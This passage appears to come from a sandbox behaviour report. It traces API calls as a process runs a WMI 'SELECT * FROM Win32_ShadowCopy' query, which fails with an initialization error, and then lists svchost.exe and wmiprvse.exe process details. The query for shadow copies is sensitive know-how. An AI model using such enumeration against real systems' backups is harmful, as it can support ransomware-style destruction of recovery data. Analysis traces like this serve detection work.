(lpString="") returned 0 [0176.925] malloc (_Size=0x2) returned 0x2119b691790 [0176.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff66883c40c, cbMultiByte=-1, lpWideCharStr=0x2119b691790, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0176.925] free (_Block=0x2119b691790) [0176.925] malloc (_Size=0x18) returned 0x2119b69dad0 [0176.925] lstrlenA (lpString="") returned 0 [0176.925] malloc (_Size=0x2) returned 0x2119b691790 [0176.925] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff66883c40c, cbMultiByte=-1, lpWideCharStr=0x2119b691790, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0176.925] free (_Block=0x2119b691790) [0176.925] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0176.925] malloc (_Size=0x3e) returned 0x2119b69ec00 [0176.925] lstrlenW (lpString="Select * from Win32_ShadowCopy") returned 30 [0176.925] wcstok (in: _String="Select * from Win32_ShadowCopy", _Delimiter=" ", _Context=0xffffffffffffff40 | out: _String="Select", _Context=0xffffffffffffff40) returned="Select" [0176.925] malloc (_Size=0x18) returned 0x2119b69deb0 [0176.925] free (_Block=0x2119b69dad0) [0176.925] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x2119b260db0*="\x01\x01" | out: _String=0x0, _Context=0x2119b260db0*="\x01\x01") returned="*" [0176.925] lstrlenW (lpString="FROM") returned 4 [0176.925] lstrlenW (lpString="*") returned 1 [0176.925] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0176.925] malloc (_Size=0x18) returned 0x2119b69d8d0 [0176.926] free (_Block=0x2119b69deb0) [0176.926] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x2119b260db0*="\x01\x01" | out: _String=0x0, _Context=0x2119b260db0*="\x01\x01") returned="from" [0176.926] lstrlenW (lpString="FROM") returned 4 [0176.926] lstrlenW (lpString="from") returned 4 [0176.926] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0176.926] malloc (_Size=0x18) returned 0x2119b69dff0 [0176.926] free (_Block=0x2119b69d8d0) [0176.926] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x2119b260db0*="\x01\x01" | out: _String=0x0, _Context=0x2119b260db0*="\x01\x01") returned="Win32_ShadowCopy" [0176.926] malloc (_Size=0x18) returned 0x2119b69ddb0 [0176.926] free (_Block=0x2119b69dff0) [0176.926] free (_Block=0x2119b69ec00) [0176.926] malloc (_Size=0x18) returned 0x2119b69da70 [0176.926] malloc (_Size=0x18) returned 0x2119b69d8f0 [0176.926] SysStringLen (param_1="SELECT * FROM ") returned 0xe [0176.926] SysStringLen (param_1="Win32_ShadowCopy") returned 0x10 [0176.926] free (_Block=0x2119b69ddd0) [0176.926] free (_Block=0x2119b69da70) [0177.334] ??0CHString@@QEAA@XZ () returned 0x6dd898fa10 [0177.334] GetCurrentThreadId () returned 0xd4c [0177.334] malloc (_Size=0x18) returned 0x2119b69d890 [0177.334] malloc (_Size=0x18) returned 0x2119b69db50 [0177.334] malloc (_Size=0x18) returned 0x2119b69d9f0 [0177.334] malloc (_Size=0x18) returned 0x2119b69dcb0 [0177.334] malloc (_Size=0x18) returned 0x2119b69def0 [0177.334] SysStringLen (param_1="\\\\") returned 0x2 [0177.334] SysStringLen (param_1="NQDPDE") returned 0x6 [0177.334] malloc (_Size=0x18) returned 0x2119b69dd90 [0177.334] SysStringLen (param_1="\\\\NQDPDE") returned 0x8 [0177.334] SysStringLen (param_1="\\") returned 0x1 [0177.334] malloc (_Size=0x18) returned 0x2119b69de10 [0177.334] SysStringLen (param_1="\\\\NQDPDE\\") returned 0x9 [0177.334] SysStringLen (param_1="ROOT\\CIMV2") returned 0xa [0177.334] free (_Block=0x2119b69dd90) [0177.335] free (_Block=0x2119b69def0) [0177.335] free (_Block=0x2119b69dcb0) [0177.335] free (_Block=0x2119b69d9f0) [0177.335] free (_Block=0x2119b69db50) [0177.335] free (_Block=0x2119b69d890) [0177.335] malloc (_Size=0x18) returned 0x2119b69dad0 [0177.335] malloc (_Size=0x18) returned 0x2119b69dcb0 [0177.335] malloc (_Size=0x18) returned 0x2119b69df50 [0177.335] WbemLocator:IWbemLocator:ConnectServer (in: This=0x2119b44c1d0, strNetworkResource="\\\\NQDPDE\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0x7ff6688578d0 | out: ppNamespace=0x7ff6688578d0*=0x2119b4a3bd0) returned 0x0 [0177.350] free (_Block=0x2119b69df50) [0177.350] free (_Block=0x2119b69dcb0) [0177.350] free (_Block=0x2119b69dad0) [0177.350] CoSetProxyBlanket (pProxy=0x2119b4a3bd0, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0177.350] free (_Block=0x2119b69de10) [0177.350] ??1CHString@@QEAA@XZ () returned 0x7ffe7f77674c [0177.350] ??0CHString@@QEAA@XZ () returned 0x6dd898f950 [0177.350] GetCurrentThreadId () returned 0xd4c [0177.350] malloc (_Size=0x18) returned 0x2119b69dd90 [0177.350] lstrlenA (lpString="") returned 0 [0177.350] malloc (_Size=0x2) returned 0x2119b691790 [0177.350] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ff66883c40c, cbMultiByte=-1, lpWideCharStr=0x2119b691790, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0177.350] free (_Block=0x2119b691790) [0177.350] SysStringLen (param_1="SELECT * FROM Win32_ShadowCopy") returned 0x1e [0177.350] SysStringLen (param_1="") returned 0x0 [0177.350] free (_Block=0x2119b69dd90) [0177.350] malloc (_Size=0x18) returned 0x2119b69dd90 [0177.350] IWbemServices:ExecQuery (in: This=0x2119b4a3bd0, strQueryLanguage="WQL", strQuery="SELECT * FROM Win32_ShadowCopy", lFlags=0, pCtx=0x0, ppEnum=0x6dd898f960 | out: ppEnum=0x6dd898f960*=0x0) returned 0x80041014 [0182.555] free (_Block=0x2119b69dd90) [0182.555] _CxxThrowException () [0182.567] malloc (_Size=0x20) returned 0x2119b69ec00 [0182.568] ??1CHString@@QEAA@XZ () returned 0x7ffe7f77674c [0182.568] free (_Block=0x2119b69ddb0) [0182.568] free (_Block=0x2119b69d8f0) [0182.568] GetCurrentThreadId () returned 0xd4c [0182.568] ??0CHString@@QEAA@PEBG@Z () returned 0x6dd898fb48 [0182.568] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x6dd898fb48 [0182.568] ??0CHString@@QEAA@XZ () returned 0x6dd898f8f0 [0182.568] malloc (_Size=0x18) returned 0x2119b69db30 [0182.568] malloc (_Size=0x18) returned 0x2119b69def0 [0182.568] SysStringLen (param_1="") returned 0x0 [0182.568] free (_Block=0x2119b69db30) [0182.568] CoCreateInstance (in: rclsid=0x7ff6688405a8*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6688405b8*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppv=0x7ff6688578f8 | out: ppv=0x7ff6688578f8*=0x2119b48dfa0) returned 0x0 [0182.572] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x2119b48dfa0, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x6dd898f8e8 | out: MessageText=0x6dd898f8e8*="Initialization failure\r\n") returned 0x0 [0182.647] free (_Block=0x2119b69def0) [0182.647] malloc (_Size=0x18) returned 0x2119b69dd30 [0182.647] WbemStatusCodeText:IWbemStatusCodeText:GetFacilityCodeText (in: This=0x2119b48dfa0, hRes=0x80041014, LocaleId=0x0, lFlags=0, MessageText=0x6dd898f8e0 | out: MessageText=0x6dd898f8e0*="WMI") returned 0x0 [0182.647] malloc (_Size=0x18) returned 0x2119b69dbf0 [0182.647] lstrlenW (lpString="WMI") returned 3 [0182.647] lstrlenW (lpString="Wbem") returned 4 [0182.647] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="Wbem", cchCount1=4, lpString2="WMI", cchCount2=3) returned 1 [0182.647] lstrlenW (lpString="WMI") returned 3 [0182.647] lstrlenW (lpString="WMI") returned 3 [0182.648] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="WMI", cchCount1=3, lpString2="WMI", cchCount2=3) returned 2 [0182.648] WbemStatusCodeText:IUnknown:Release (This=0x2119b48dfa0) returned 0x0 [0182.648] ??1CHString@@QEAA@XZ () returned 0x7ffe7f77674c [0182.648] LoadStringW (in: hInstance=0x0, uID=0xb7f3, lpBuffer=0x6dd898f150, cchBufferMax=1024 | out: lpBuffer="ERROR:\r\nDescription = %1") returned 0x18 [0182.648] FormatMessageW (in: dwFlags=0x2500, lpSource=0x6dd898f150, dwMessageId=0x0, dwLanguageId=0x400, lpBuffer=0x6dd898f120, nSize=0x0, Arguments=0x6dd898f128 | out: lpBuffer="\xdb80\x9b4a\x211") returned 0x2e [0182.648] malloc (_Size=0x18) returned 0x2119b69de70 [0182.648] LocalFree (hMem=0x2119b4adb80) returned 0x0 [0182.648] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 47 [0182.648] malloc (_Size=0x2f) returned 0x2119b69a9d0 [0182.648] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="ERROR:\r\nDescription = Initialization failure\r\n", cchWideChar=-1, lpMultiByteStr=0x2119b69a9d0, cbMultiByte=47, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ERROR:\r\nDescription = Initialization failure\r\n", lpUsedDefaultChar=0x0) returned 47 [0182.648] __iob_func () returned 0x7ffe88d5ea00 [0182.648] fprintf (in: _File=0x7ffe88d5ea60, _Format="%s" | out: _File=0x7ffe88d5ea60) returned 46 [0182.775] __iob_func () returned 0x7ffe88d5ea00 [0182.775] fflush (in: _File=0x7ffe88d5ea60 | out: _File=0x7ffe88d5ea60) returned 0 [0182.775] free (_Block=0x2119b69a9d0) [0182.775] free (_Block=0x2119b69de70) [0182.775] free (_Block=0x2119b69dbf0) [0182.775] free (_Block=0x2119b69dd30) [0182.775] ??1CHString@@QEAA@XZ () returned 0x1 [0182.775] ??0CHString@@QEAA@PEBG@Z () returned 0x6dd898fb30 [0182.775] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x6dd898fb30 [0182.775] GetCurrentThreadId () returned 0xd4c [0182.775] ??1CHString@@QEAA@XZ () returned 0x1 [0182.775] WbemLocator:IUnknown:Release (This=0x2119b4a3bd0) returned 0x0 [0182.811] ?Empty@CHString@@QEAAXXZ () returned 0x7ffe7f77674c [0182.811] free (_Block=0x2119b69ec00) [0182.811] _kbhit () returned 0x0 [0182.862] free (_Block=0x2119b69ebe0) [0182.863] free (_Block=0x2119b69dd10) [0182.863] free (_Block=0x2119b69ddf0) [0182.863] free (_Block=0x2119b69df30) [0182.863] free (_Block=0x2119b69dc90) [0182.863] free (_Block=0x2119b696000) [0182.863] free (_Block=0x2119b69d930) [0182.863] free (_Block=0x2119b69aad0) [0182.863] free (_Block=0x2119b69dcd0) [0182.863] free (_Block=0x2119b69eb40) [0182.863] free (_Block=0x2119b69dc30) [0182.863] free (_Block=0x2119b69d990) [0182.863] free (_Block=0x2119b69ebc0) [0182.863] free (_Block=0x2119b695fb0) [0182.863] free (_Block=0x2119b69eb90) [0182.863] ?Empty@CHString@@QEAAXXZ () returned 0x7ffe7f77674c [0182.863] free (_Block=0x2119b69e050) [0182.863] free (_Block=0x2119b69de50) [0182.863] free (_Block=0x2119b69dd50) [0182.863] free (_Block=0x2119b695a80) [0182.863] free (_Block=0x2119b695ad0) [0182.863] free (_Block=0x2119b695b20) [0182.863] free (_Block=0x2119b69d9d0) [0182.863] free (_Block=0x2119b695bd0) [0182.863] free (_Block=0x2119b695f90) [0182.863] free (_Block=0x2119b69a810) [0182.863] free (_Block=0x2119b695f70) [0182.863] free (_Block=0x2119b69aa50) [0182.863] free (_Block=0x2119b695f10) [0182.863] free (_Block=0x2119b695f30) [0182.863] free (_Block=0x2119b695df0) [0182.863] free (_Block=0x2119b695e10) [0182.863] free (_Block=0x2119b695d90) [0182.864] free (_Block=0x2119b695db0) [0182.864] free (_Block=0x2119b695e50) [0182.864] free (_Block=0x2119b695e70) [0182.864] free (_Block=0x2119b695eb0) [0182.864] free (_Block=0x2119b695ed0) [0182.864] free (_Block=0x2119b695cd0) [0182.864] free (_Block=0x2119b695cf0) [0182.864] free (_Block=0x2119b695c70) [0182.864] free (_Block=0x2119b695c90) [0182.864] free (_Block=0x2119b695d30) [0182.864] free (_Block=0x2119b695d50) [0182.864] free (_Block=0x2119b695c10) [0182.864] free (_Block=0x2119b695c30) [0182.864] free (_Block=0x2119b695ba0) [0182.864] free (_Block=0x2119b695b70) [0182.864] free (_Block=0x2119b69b420) [0182.864] WbemLocator:IUnknown:Release (This=0x2119b44c1d0) returned 0x2 [0182.864] WbemLocator:IUnknown:Release (This=0x2119b4a3990) returned 0x0 [0182.865] WbemLocator:IUnknown:Release (This=0x2119b4a44d0) returned 0x0 [0182.977] WbemLocator:IUnknown:Release (This=0x2119b44c1d0) returned 0x1 [0182.977] ?Empty@CHString@@QEAAXXZ () returned 0x7ffe7f77674c [0182.977] WbemLocator:IUnknown:Release (This=0x2119b44c1d0) returned 0x0 [0182.977] free (_Block=0x2119b69dd70) [0182.977] free (_Block=0x2119b69dfd0) [0182.977] free (_Block=0x2119b69a650) [0182.977] free (_Block=0x2119b69dcf0) [0182.977] free (_Block=0x2119b69dbd0) [0182.977] free (_Block=0x2119b69a690) [0182.977] free (_Block=0x2119b69b220) [0182.977] free (_Block=0x2119b69b380) [0182.977] free (_Block=0x2119b69ab90) [0182.977] free (_Block=0x2119b69de90) [0182.978] free (_Block=0x2119b69d9b0) [0182.978] free (_Block=0x2119b69a910) [0182.978] free (_Block=0x2119b69b340) [0182.978] free (_Block=0x2119b69b100) [0182.978] free (_Block=0x2119b69a8d0) [0182.978] free (_Block=0x2119b69b200) [0182.978] free (_Block=0x2119b69b260) [0182.978] free (_Block=0x2119b69a950) [0182.978] free (_Block=0x2119b69d8b0) [0182.978] free (_Block=0x2119b69db10) [0182.978] free (_Block=0x2119b69a990) [0182.978] free (_Block=0x2119b69dbb0) [0182.978] free (_Block=0x2119b69dc70) [0182.978] free (_Block=0x2119b69a510) [0182.978] free (_Block=0x2119b69b1e0) [0182.978] free (_Block=0x2119b69b3c0) [0182.978] free (_Block=0x2119b69a550) [0182.978] free (_Block=0x2119b69b0c0) [0182.978] free (_Block=0x2119b69b3e0) [0182.978] free (_Block=0x2119b69a850) [0182.978] free (_Block=0x2119b69db90) [0182.978] free (_Block=0x2119b69dc50) [0182.978] free (_Block=0x2119b69a610) [0182.978] free (_Block=0x2119b69dc10) [0182.978] free (_Block=0x2119b69db70) [0182.978] free (_Block=0x2119b69a710) [0182.978] free (_Block=0x2119b69b0e0) [0182.979] free (_Block=0x2119b69b320) [0182.979] free (_Block=0x2119b69a750) [0182.979] free (_Block=0x2119b69b160) [0182.979] free (_Block=0x2119b69b300) [0182.979] free (_Block=0x2119b69a890) [0182.979] free (_Block=0x2119b69b3a0) [0182.979] free (_Block=0x2119b69b360) [0182.979] free (_Block=0x2119b69a790) [0182.979] free (_Block=0x2119b69b2e0) [0182.979] free (_Block=0x2119b69b280) [0182.979] free (_Block=0x2119b69a590) [0182.979] free (_Block=0x2119b69b1a0) [0182.979] free (_Block=0x2119b69b140) [0182.979] free (_Block=0x2119b69a7d0) [0182.979] free (_Block=0x2119b69b060) [0182.979] free (_Block=0x2119b69b2a0) [0182.979] free (_Block=0x2119b69a490) [0182.979] free (_Block=0x2119b69b0a0) [0182.979] free (_Block=0x2119b69b120) [0182.979] free (_Block=0x2119b69aa90) [0182.979] free (_Block=0x2119b69b180) [0182.980] free (_Block=0x2119b69b240) [0182.980] free (_Block=0x2119b69ab50) [0182.980] free (_Block=0x2119b69b1c0) [0182.980] free (_Block=0x2119b69b2c0) [0182.980] free (_Block=0x2119b69a4d0) [0182.980] CoUninitialize () [0183.012] exit (_Code=-2147217388) Thread: id = 118 os_tid = 0x478 Thread: id = 120 os_tid = 0x46c Thread: id = 121 os_tid = 0x644 Thread: id = 122 os_tid = 0x64c Process: id = "21" image_name = "svchost.exe" filename = "c:\\windows\\system32\\svchost.exe" page_root = "0x28e9f000" os_pid = "0x3bc" os_integrity_level = "0x4000" os_privileges = "0x1e60b1e890" monitor_reason = "rpc_server" parent_id = "20" os_parent_pid = "0x388" cmd_line = "C:\\WINDOWS\\system32\\svchost.exe -k netsvcs" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT SERVICE\\BDESVC" [0xe], "NT SERVICE\\BITS" [0xa], "NT SERVICE\\CertPropSvc" [0xa], "NT SERVICE\\dmwappushservice" [0xa], "NT SERVICE\\DoSvc" [0xa], "NT SERVICE\\DsmSvc" [0xa], "NT SERVICE\\EapHost" [0xa], "NT SERVICE\\IKEEXT" [0xa], "NT SERVICE\\iphlpsvc" [0xa], "NT SERVICE\\LanmanServer" [0xa], "NT SERVICE\\lfsvc" [0xa], "NT SERVICE\\MSiSCSI" [0xa], "NT SERVICE\\NcaSvc" [0xa], "NT SERVICE\\NetSetupSvc" [0xa], "NT SERVICE\\RasAuto" [0xa], "NT SERVICE\\RasMan" [0xa], "NT SERVICE\\RemoteAccess" [0xa], "NT SERVICE\\Schedule" [0xa], "NT SERVICE\\SCPolicySvc" [0xa], "NT SERVICE\\SENS" [0xa], "NT SERVICE\\SessionEnv" [0xa], "NT SERVICE\\SharedAccess" [0xa], "NT SERVICE\\ShellHWDetection" [0xa], "NT SERVICE\\UsoSvc" [0xa], "NT SERVICE\\wercplsupport" [0xa], "NT SERVICE\\Winmgmt" [0xa], "NT SERVICE\\wisvc" [0xa], "NT SERVICE\\wlidsvc" [0xa], "NT SERVICE\\WpnService" [0xa], "NT SERVICE\\wuauserv" [0xa], "S-1-5-80-603222039-1779857981-708438124-1730083285-3435298639" [0xa], "NT SERVICE\\XboxNetApiSvc" [0xa], "NT AUTHORITY\\Logon Session 00000000:00009cc4" [0xc0000007], "LOCAL" [0x7], "BUILTIN\\Administrators" [0xe] Thread: id = 123 os_tid = 0xb74 Thread: id = 124 os_tid = 0xb70 Thread: id = 125 os_tid = 0xb4c Thread: id = 126 os_tid = 0xaf0 Thread: id = 127 os_tid = 0xad4 Thread: id = 128 os_tid = 0xa8c Thread: id = 129 os_tid = 0xa84 Thread: id = 130 os_tid = 0xa80 Thread: id = 131 os_tid = 0xa7c Thread: id = 132 os_tid = 0xa70 Thread: id = 133 os_tid = 0xa64 Thread: id = 134 os_tid = 0xa60 Thread: id = 135 os_tid = 0xa54 Thread: id = 136 os_tid = 0xa40 Thread: id = 137 os_tid = 0x9e0 Thread: id = 138 os_tid = 0x9cc Thread: id = 139 os_tid = 0x9bc Thread: id = 140 os_tid = 0x9a8 Thread: id = 141 os_tid = 0x9a4 Thread: id = 142 os_tid = 0x9a0 Thread: id = 143 os_tid = 0x998 Thread: id = 144 os_tid = 0x98c Thread: id = 145 os_tid = 0x984 Thread: id = 146 os_tid = 0x964 Thread: id = 147 os_tid = 0x95c Thread: id = 148 os_tid = 0x948 Thread: id = 149 os_tid = 0x908 Thread: id = 150 os_tid = 0x8a4 Thread: id = 151 os_tid = 0x868 Thread: id = 152 os_tid = 0x7c4 Thread: id = 153 os_tid = 0x4e4 Thread: id = 154 os_tid = 0x4c4 Thread: id = 155 os_tid = 0x47c Thread: id = 156 os_tid = 0x7d0 Thread: id = 157 os_tid = 0x7bc Thread: id = 158 os_tid = 0x7ac Thread: id = 159 os_tid = 0x7a0 Thread: id = 160 os_tid = 0x79c Thread: id = 161 os_tid = 0x78c Thread: id = 162 os_tid = 0x780 Thread: id = 163 os_tid = 0x6f4 Thread: id = 164 os_tid = 0x618 Thread: id = 165 os_tid = 0x594 Thread: id = 166 os_tid = 0x550 Thread: id = 167 os_tid = 0x4c8 Thread: id = 168 os_tid = 0x498 Thread: id = 169 os_tid = 0x420 Thread: id = 170 os_tid = 0x418 Thread: id = 171 os_tid = 0x410 Thread: id = 172 os_tid = 0x408 Thread: id = 173 os_tid = 0x404 Thread: id = 174 os_tid = 0x16c Thread: id = 175 os_tid = 0x168 Thread: id = 176 os_tid = 0x354 Thread: id = 177 os_tid = 0x154 Thread: id = 178 os_tid = 0x320 Thread: id = 179 os_tid = 0x2f8 Thread: id = 180 os_tid = 0x27c Thread: id = 181 os_tid = 0x2a4 Thread: id = 182 os_tid = 0x3c8 Thread: id = 183 os_tid = 0x3c0 Thread: id = 195 os_tid = 0x470 Thread: id = 196 os_tid = 0x360 Thread: id = 197 os_tid = 0x730 Thread: id = 198 os_tid = 0xd78 Thread: id = 199 os_tid = 0xd74 Thread: id = 200 os_tid = 0xdf8 Process: id = "22" image_name = "wmiprvse.exe" filename = "c:\\windows\\system32\\wbem\\wmiprvse.exe" page_root = "0x51fc5000" os_pid = "0xd98" os_integrity_level = "0x4000" os_privileges = "0x60800000" monitor_reason = "rpc_server" parent_id = "21" os_parent_pid = "0x3bc" cmd_line = "C:\\WINDOWS\\system32\\wbem\\wmiprvse.exe -secured -Embedding" cur_dir = "C:\\WINDOWS\\system32\\" os_username = "NT AUTHORITY\\Network Service" bitness = "64" os_groups = "Everyone" [0x7], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\SERVICE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "WMI (Network Service)" [0xf], "NT AUTHORITY\\Logon Session 00000000:00033a7e" [0xc000000f] Thread: id = 184 os_tid = 0xdc4 Thread: id = 185 os_tid = 0xdc0 Thread: id = 186 os_tid = 0xdbc Thread: id = 187 os_tid = 0xdb8 Thread: id = 188 os_tid = 0xdb4 Thread: id = 189 os_tid = 0xdb0 Thread: id = 190 os_tid = 0xdac Thread: id = 191 os_tid = 0xda8 Thread: id = 192 os_tid = 0xda4 Thread: id = 193 os_tid = 0xda0 Thread: id = 194 os_tid = 0xd9c